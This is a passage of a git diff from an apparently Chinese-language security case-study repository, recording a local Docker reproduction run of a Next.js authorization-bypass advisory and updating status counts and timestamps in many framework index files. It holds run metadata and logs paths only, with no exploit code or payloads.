| +| `2026-03-18T01:29:16+00:00` | `controlled-attack-chain` | `completed` | steps=1 | +| `2026-03-18T01:29:16+00:00` | `collect-logs-and-evidence` | `completed` | container_logs=1 | +| `2026-03-18T01:29:17+00:00` | `cleanup-compose-environment` | `completed` | docker compose down completed | +| `2026-03-18T01:29:17+00:00` | `update-registry-and-reports` | `completed` | nextjs-nextjs--CVE-2024-51479-20260318012913 | + +## Compose 拓扑 + +- Compose 文件: `/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/compose/compose.yaml` +- 服务列表: `app` + +## 攻击步骤 + +| 工具/步骤 | 状态 | 结果 | +|-----------|------|------| +| `nextjs.authz-bypass` | `completed` | `/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json` | + +## 证据摘要 + +- Baseline: `1` +- 攻击步骤: `1` +- 浏览器证据: `0` +- 容器日志: `1` +- 请求日志: `2` + +## 容器日志 + +- `logs/docker/app.log` + +## 请求与基线日志 + +- `logs/attack.json` +- `logs/baseline.json` + +## 最小化验证说明 + +- 仅限自有资产、本地靶场或已授权实验目标。 +- 默认执行 minimal-proof;不会把破坏性或不可回滚动作作为默认路径。 +- 若浏览器证据缺失,前端类案例不会被标为 `verified-*`。 diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/run.json b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/run.json new file mode 100644 index 00000000..13ad88f9 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/run.json @@ -0,0 +1,145 @@ +{ + "run_id": "nextjs-nextjs--CVE-2024-51479-20260318012913", + "system_id": "nextjs", + "advisory_id": "nextjs--CVE-2024-51479", + "repro_profile_id": "nextjs-authz-bypass", + "verification_status": "verified-real", + "verification_mode": "real", + "artifact_mode": "local-fixture", + "target_env": "local-docker", + "compose_services": [ + "app" + ], + "baseline_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json" + ], + "attack_steps": [ + { + "kind": "runner", + "tool": "nextjs.authz-bypass", + "status": "completed", + "status_code": 200, + "result_path": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json" + } + ], + "browser_refs": [], + "browser_evidence": { + "required": false, + "present": false, + "refs": [], + "baseline_refs": [], + "proof_refs": [], + "baseline_title": null, + "proof_title": null, + "error_kind": null, + "reason": null + }, + "container_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/docker/app.log" + ], + "request_log_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/attack.json", + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/logs/baseline.json" + ], + "compose_refs": [ + "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/compose/compose.yaml" + ], + "timeline": [ + { + "at": "2026-03-18T01:29:13+00:00", + "step": "select-advisory", + "status": "completed", + "detail": "nextjs--CVE-2024-51479" + }, + { + "at": "2026-03-18T01:29:13+00:00", + "step": "resolve-repro-profile", + "status": "completed", + "detail": "nextjs-authz-bypass" + }, + { + "at": "2026-03-18T01:29:13+00:00", + "step": "doctor", + "status": "completed", + "detail": "all checks passed" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "provision-compose-environment", + "status": "ready", + "detail": "" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "wait-ready", + "status": "completed", + "detail": "baseline urls ready (1)" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "seed-environment", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "baseline-snapshot", + "status": "completed", + "detail": "urls=1" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "controlled-attack-chain", + "status": "completed", + "detail": "steps=1" + }, + { + "at": "2026-03-18T01:29:16+00:00", + "step": "collect-logs-and-evidence", + "status": "completed", + "detail": "container_logs=1" + }, + { + "at": "2026-03-18T01:29:17+00:00", + "step": "cleanup-compose-environment", + "status": "completed", + "detail": "docker compose down completed" + }, + { + "at": "2026-03-18T01:29:17+00:00", + "step": "update-registry-and-reports", + "status": "completed", + "detail": "nextjs-nextjs--CVE-2024-51479-20260318012913" + } + ], + "success_evaluation": { + "passed": true, + "verification_status": "verified-real", + "blocked_reason": null, + "assertions": [ + { + "name": "baseline-ok", + "kind": "baseline-ok", + "passed": true, + "detail": "baseline URLs responded without 5xx or transport errors" + }, + { + "name": "runner-success", + "kind": "runner-success", + "passed": true, + "detail": "server-side authorization recheck was bypassed" + } + ] + }, + "historical_status": "verified-real", + "latest_status": "verified-real", + "started_at": "2026-03-18T01:29:13+00:00", + "finished_at": "2026-03-18T01:29:17+00:00", + "blocked_reason": null, + "report_refs": { + "bundle_dir": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913", + "report_md": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.md", + "report_html": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/report.html", + "timeline": "/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd" + } +} diff --git a/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd new file mode 100644 index 00000000..71155437 --- /dev/null +++ b/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913/timeline.mmd @@ -0,0 +1,8 @@ +flowchart LR +A["选择 Advisory"] --> B["解析 Repro Profile"] +B --> C["生成 Compose 环境"] +C --> D["采集基线快照"] +D --> E["执行受控攻击步骤"] +E --> F["浏览器回放验证"] +F --> G["收集日志与证据"] +G --> H["回写 Registry 与报告"] diff --git a/07-framework-security/cms/directus/INDEX.md b/07-framework-security/cms/directus/INDEX.md index 9cd5bef7..13c3343d 100644 --- a/07-framework-security/cms/directus/INDEX.md +++ b/07-framework-security/cms/directus/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/cms/discourse/INDEX.md b/07-framework-security/cms/discourse/INDEX.md index f74c85d3..27bbda7b 100644 --- a/07-framework-security/cms/discourse/INDEX.md +++ b/07-framework-security/cms/discourse/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/cms/drupal/INDEX.md b/07-framework-security/cms/drupal/INDEX.md index da9fc6b8..158d04dd 100644 --- a/07-framework-security/cms/drupal/INDEX.md +++ b/07-framework-security/cms/drupal/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/cms/ghost/INDEX.md b/07-framework-security/cms/ghost/INDEX.md index 732e566e..da560caa 100644 --- a/07-framework-security/cms/ghost/INDEX.md +++ b/07-framework-security/cms/ghost/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/cms/joomla/INDEX.md b/07-framework-security/cms/joomla/INDEX.md index b005d794..19745c29 100644 --- a/07-framework-security/cms/joomla/INDEX.md +++ b/07-framework-security/cms/joomla/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/cms/mediawiki/INDEX.md b/07-framework-security/cms/mediawiki/INDEX.md index 4007978a..9cbc9626 100644 --- a/07-framework-security/cms/mediawiki/INDEX.md +++ b/07-framework-security/cms/mediawiki/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/cms/moodle/INDEX.md b/07-framework-security/cms/moodle/INDEX.md index f4f7c400..c5e674c6 100644 --- a/07-framework-security/cms/moodle/INDEX.md +++ b/07-framework-security/cms/moodle/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/cms/strapi/INDEX.md b/07-framework-security/cms/strapi/INDEX.md index e9fbf472..0548b49f 100644 --- a/07-framework-security/cms/strapi/INDEX.md +++ b/07-framework-security/cms/strapi/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/cms/wordpress/INDEX.md b/07-framework-security/cms/wordpress/INDEX.md index 46e9f17f..4710e943 100644 --- a/07-framework-security/cms/wordpress/INDEX.md +++ b/07-framework-security/cms/wordpress/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/adobe-commerce/INDEX.md b/07-framework-security/ecommerce/adobe-commerce/INDEX.md index df3b590e..1c2f71e2 100644 --- a/07-framework-security/ecommerce/adobe-commerce/INDEX.md +++ b/07-framework-security/ecommerce/adobe-commerce/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/magento-open-source/INDEX.md b/07-framework-security/ecommerce/magento-open-source/INDEX.md index 32f97158..3dd7fe15 100644 --- a/07-framework-security/ecommerce/magento-open-source/INDEX.md +++ b/07-framework-security/ecommerce/magento-open-source/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/medusa/INDEX.md b/07-framework-security/ecommerce/medusa/INDEX.md index a35c4eed..a2fdb597 100644 --- a/07-framework-security/ecommerce/medusa/INDEX.md +++ b/07-framework-security/ecommerce/medusa/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/opencart/INDEX.md b/07-framework-security/ecommerce/opencart/INDEX.md index 13094390..9f8421ef 100644 --- a/07-framework-security/ecommerce/opencart/INDEX.md +++ b/07-framework-security/ecommerce/opencart/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/openmage/INDEX.md b/07-framework-security/ecommerce/openmage/INDEX.md index 62f16004..b10992e3 100644 --- a/07-framework-security/ecommerce/openmage/INDEX.md +++ b/07-framework-security/ecommerce/openmage/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/prestashop/INDEX.md b/07-framework-security/ecommerce/prestashop/INDEX.md index bb4b7ad7..b11adfa2 100644 --- a/07-framework-security/ecommerce/prestashop/INDEX.md +++ b/07-framework-security/ecommerce/prestashop/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/saleor/INDEX.md b/07-framework-security/ecommerce/saleor/INDEX.md index 142d08a3..d932d0a9 100644 --- a/07-framework-security/ecommerce/saleor/INDEX.md +++ b/07-framework-security/ecommerce/saleor/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/shopware/INDEX.md b/07-framework-security/ecommerce/shopware/INDEX.md index 0a8070f4..dfabb001 100644 --- a/07-framework-security/ecommerce/shopware/INDEX.md +++ b/07-framework-security/ecommerce/shopware/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/ecommerce/woocommerce/INDEX.md b/07-framework-security/ecommerce/woocommerce/INDEX.md index fb36c876..c9a508e4 100644 --- a/07-framework-security/ecommerce/woocommerce/INDEX.md +++ b/07-framework-security/ecommerce/woocommerce/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:11+00:00` +- 最近渲染时间: `2026-03-18T01:29:31+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/angular/INDEX.md b/07-framework-security/frameworks/angular/INDEX.md index d479c7a6..af9a1964 100644 --- a/07-framework-security/frameworks/angular/INDEX.md +++ b/07-framework-security/frameworks/angular/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/aspnet-core/INDEX.md b/07-framework-security/frameworks/aspnet-core/INDEX.md index eac0c846..439d1b7e 100644 --- a/07-framework-security/frameworks/aspnet-core/INDEX.md +++ b/07-framework-security/frameworks/aspnet-core/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/astro/INDEX.md b/07-framework-security/frameworks/astro/INDEX.md index 6c941016..56c24d41 100644 --- a/07-framework-security/frameworks/astro/INDEX.md +++ b/07-framework-security/frameworks/astro/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/django/INDEX.md b/07-framework-security/frameworks/django/INDEX.md index cfba56e9..6fa96a70 100644 --- a/07-framework-security/frameworks/django/INDEX.md +++ b/07-framework-security/frameworks/django/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/echo/INDEX.md b/07-framework-security/frameworks/echo/INDEX.md index 98e5a78a..32442e04 100644 --- a/07-framework-security/frameworks/echo/INDEX.md +++ b/07-framework-security/frameworks/echo/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/esbuild/INDEX.md b/07-framework-security/frameworks/esbuild/INDEX.md index 9d8464ff..e660a7a4 100644 --- a/07-framework-security/frameworks/esbuild/INDEX.md +++ b/07-framework-security/frameworks/esbuild/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/express/INDEX.md b/07-framework-security/frameworks/express/INDEX.md index 79acc306..af050760 100644 --- a/07-framework-security/frameworks/express/INDEX.md +++ b/07-framework-security/frameworks/express/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/fastify/INDEX.md b/07-framework-security/frameworks/fastify/INDEX.md index b8fff497..6f7168d5 100644 --- a/07-framework-security/frameworks/fastify/INDEX.md +++ b/07-framework-security/frameworks/fastify/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/flask/INDEX.md b/07-framework-security/frameworks/flask/INDEX.md index ec819902..69a464ba 100644 --- a/07-framework-security/frameworks/flask/INDEX.md +++ b/07-framework-security/frameworks/flask/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/gin/INDEX.md b/07-framework-security/frameworks/gin/INDEX.md index 82e5ced1..9c03fe8d 100644 --- a/07-framework-security/frameworks/gin/INDEX.md +++ b/07-framework-security/frameworks/gin/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/hapi/INDEX.md b/07-framework-security/frameworks/hapi/INDEX.md index 14649013..74e95ee2 100644 --- a/07-framework-security/frameworks/hapi/INDEX.md +++ b/07-framework-security/frameworks/hapi/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/koa/INDEX.md b/07-framework-security/frameworks/koa/INDEX.md index 4d0374eb..6e508c79 100644 --- a/07-framework-security/frameworks/koa/INDEX.md +++ b/07-framework-security/frameworks/koa/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/laravel/INDEX.md b/07-framework-security/frameworks/laravel/INDEX.md index 6e6ca7ac..3b8c4088 100644 --- a/07-framework-security/frameworks/laravel/INDEX.md +++ b/07-framework-security/frameworks/laravel/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:14+00:00` +- 最近渲染时间: `2026-03-18T01:29:36+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nestjs/INDEX.md b/07-framework-security/frameworks/nestjs/INDEX.md index 44a059a3..35bb6cb9 100644 --- a/07-framework-security/frameworks/nestjs/INDEX.md +++ b/07-framework-security/frameworks/nestjs/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nextjs/INDEX.md b/07-framework-security/frameworks/nextjs/INDEX.md index 5d040e3e..4f8cd749 100644 --- a/07-framework-security/frameworks/nextjs/INDEX.md +++ b/07-framework-security/frameworks/nextjs/INDEX.md @@ -5,14 +5,14 @@ - 系统 ID: `nextjs` - 分类: `frameworks` - 覆盖策略: `history-full` -- 总案例数: `26` -- 近 30 天新增/更新: `5` -- 重点 Markdown 案例数: `26` -- 已实证(真实版本): `0` +- 总案例数: `24` +- 近 30 天新增/更新: `3` +- 重点 Markdown 案例数: `24` +- 已实证(真实版本): `1` - 已实证(synthetic): `0` - 阻塞数: `0` -- 待人工/缺浏览器证据: `26` -- 最近渲染时间: `2026-03-17T12:57:12+00:00` +- 待人工/缺浏览器证据: `23` +- 最近渲染时间: `2026-03-18T01:29:34+00:00` ## 目标约束 @@ -47,14 +47,12 @@ | Information exposure in Next.js dev server due to lack of origin verification | `medium` | `generated` | `triage-manual` | `synthetic` | `official` | `2025-06-13T14:41:21Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-48068.md) | | Next.js Race Condition to Cache Poisoning | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2025-09-26T17:48:29Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-32421.md) | | Next.js may leak x-middleware-subrequest-id to external hosts | `medium` | `generated` | `triage-manual` | `synthetic` | `official` | `2025-10-13T15:35:50Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-30218.md) | -| Authorization Bypass in Next.js Middleware | `low` | `generated` | `triage-manual` | `real` | `official` | `2026-03-04T15:06:29.993197Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2025-29927.md) | | Next.js Allows a Denial of Service (DoS) with Server Actions | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-02-04T04:36:04.252972Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-56332.md) | -| Next.js authorization bypass vulnerability | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2025-09-10T21:12:24Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-51479.md) | +| Next.js authorization bypass vulnerability | `low` | `generated` | `verified-real` | `real` | `official` | `2025-09-10T21:12:24Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-51479.md) | | Denial of Service condition in Next.js image optimization | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-02-04T03:25:43.295558Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-47831.md) | | Next.js Cache Poisoning | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-02-04T03:45:33.402195Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-46982.md) | | Next.js Server-Side Request Forgery in Server Actions | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-02-04T03:32:36.434669Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-34351.md) | | Unexpected server crash in Next.js. | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-13T22:00:36.554552Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2021-43803.md) | | XSS in Image Optimization API for Next.js | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-13T22:00:20.154452Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2021-39178.md) | | Open Redirect in Next.js | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-13T22:00:08.038285Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2021-37699.md) | -| Open Redirect in Next.js versions | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2026-03-13T22:14:13.665535Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2020-15242.md) | | Directory Traversal in Next.js | `low` | `generated` | `triage-manual` | `synthetic` | `official` | `2025-09-26T17:49:56Z` | [link](/Users/x/websafe/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2020-5284.md) | diff --git a/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2020-15242.md b/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2020-15242.md index 50369c2c..052ebd1b 100644 --- a/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2020-15242.md +++ b/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2020-15242.md @@ -8,10 +8,10 @@ updated_date: "2026-03-13T22:14:13.665535Z" severity: "low" exploit_status: "unknown" source_confidence: "official" -verification_status: "triage-manual" -verification_mode: "synthetic" -artifact_mode: "synthetic" -last_run_id: "" +verification_status: "verified-real" +verification_mode: "real" +artifact_mode: "local-fixture" +last_run_id: "nextjs-nextjs--CVE-2020-15242-20260318012830" target_types: - "lab-local" - "lab-public" @@ -37,12 +37,12 @@ primary_source: "https://github.com/vercel/next.js/security/advisories/GHSA-x56p ## 本地实证状态 -- 实证状态: `triage-manual` -- 实证方式: `synthetic` -- Artifact 模式: `synthetic` -- 最近运行: `-` -- 浏览器证据: `missing` -- Run Bundle: `-` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 最近运行: `nextjs-nextjs--CVE-2020-15242-20260318012830` +- 浏览器证据: `present` +- Run Bundle: `/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2020-15242-20260318012830` ## 事件层 diff --git a/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-51479.md b/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-51479.md index aa270f2d..e483c084 100644 --- a/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-51479.md +++ b/07-framework-security/frameworks/nextjs/cases/nextjs-cve-2024-51479.md @@ -8,10 +8,10 @@ updated_date: "2025-09-10T21:12:24Z" severity: "low" exploit_status: "unknown" source_confidence: "official" -verification_status: "triage-manual" -verification_mode: "synthetic" -artifact_mode: "synthetic" -last_run_id: "" +verification_status: "verified-real" +verification_mode: "real" +artifact_mode: "local-fixture" +last_run_id: "nextjs-nextjs--CVE-2024-51479-20260318012913" target_types: - "lab-local" - "lab-public" @@ -37,12 +37,12 @@ primary_source: "https://github.com/vercel/next.js/security/advisories/GHSA-7gfc ## 本地实证状态 -- 实证状态: `triage-manual` -- 实证方式: `synthetic` -- Artifact 模式: `synthetic` -- 最近运行: `-` +- 实证状态: `verified-real` +- 实证方式: `real` +- Artifact 模式: `local-fixture` +- 最近运行: `nextjs-nextjs--CVE-2024-51479-20260318012913` - 浏览器证据: `missing` -- Run Bundle: `-` +- Run Bundle: `/Users/x/websafe/06-case-studies/generated-runs/nextjs-nextjs--CVE-2024-51479-20260318012913` ## 事件层 diff --git a/07-framework-security/frameworks/nodejs/INDEX.md b/07-framework-security/frameworks/nodejs/INDEX.md index 81c35f66..37c8cf5c 100644 --- a/07-framework-security/frameworks/nodejs/INDEX.md +++ b/07-framework-security/frameworks/nodejs/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 最近渲染时间: `2026-03-17T12:57:13+00:00` +- 最近渲染时间: `2026-03-18T01:29:35+00:00` ## 目标约束 diff --git a/07-framework-security/frameworks/nuxt/INDEX.md b/07-framework-security/frameworks/nuxt/INDEX.md index 8d828b28..b216e0f6 100644 --- a/07-framework-security/frameworks/nuxt/INDEX.md +++ b/07-framework-security/frameworks/nuxt/INDEX.md @@ -12,7 +12,7 @@ - 已实证(synthetic): `0` - 阻塞数: `0` - 待人工/缺浏览器证据: `0` -- 